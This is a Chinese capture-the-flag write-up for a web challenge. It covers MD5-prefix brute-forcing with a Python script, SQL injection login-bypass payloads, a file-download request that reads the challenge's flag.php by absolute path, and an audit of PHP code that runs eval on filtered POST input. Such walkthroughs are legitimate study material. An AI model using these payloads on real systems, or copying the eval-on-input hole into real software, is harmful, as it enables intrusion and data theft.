题目
考点
sql注入,md5加密,代码审计,利用eval函数
解题
参考wp
https://www.cnblogs.com/qiaowukong/p/13630130.html
找md5值
看见验证码中的提示,就是去找一个md5值前六位是指定值的数(严格来说不一定是数),白嫖大佬的脚本:
# -*- coding: UTF-8 -*-
'''
@File :GetFlag.py
@IDE :PyCharm
@Author :M7
@Date :2024/3/21
'''
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
keymd5 = 'cd0bf6' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6
def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
得到:
11481707
26143897
75290163
测试sql注入
admin' or 1=1--+
123
11481707
返回的界面有显示报错,那么就说明存在sql注入
接下来就是测试sql注入语句了
构造注入payload
admin' or '1'='1
访问可疑文件
点击三个文件都能下载下来,但是只有一个a.php文件有利用信息,得到flag在网站的根目录下
那么利用前面下载代码的功能,把flag.php文件下载下来
下载文件
构造下载文件payload
http://eci-2ze7er1y0cj85awr3unk.cloudeci1.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php
下载下来后,看到源码如下:
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
if ($spaceone === 'flag'){
echo file_get_contents("helloctf.php");
}
?>
代码审计
16行的if判断为true时才会显示helloctf.php文件代码
变量$spaceone得在第10行得到运行
那么就得从第二行有一个post传参的功能入手了
第三行和第四行还对post传入的字符串进行了过滤
最终构造的payload为
post传参
flag='flag';
改包发起请求
看到返回没有任何东西,那么在查看一下源代码,发现了有flag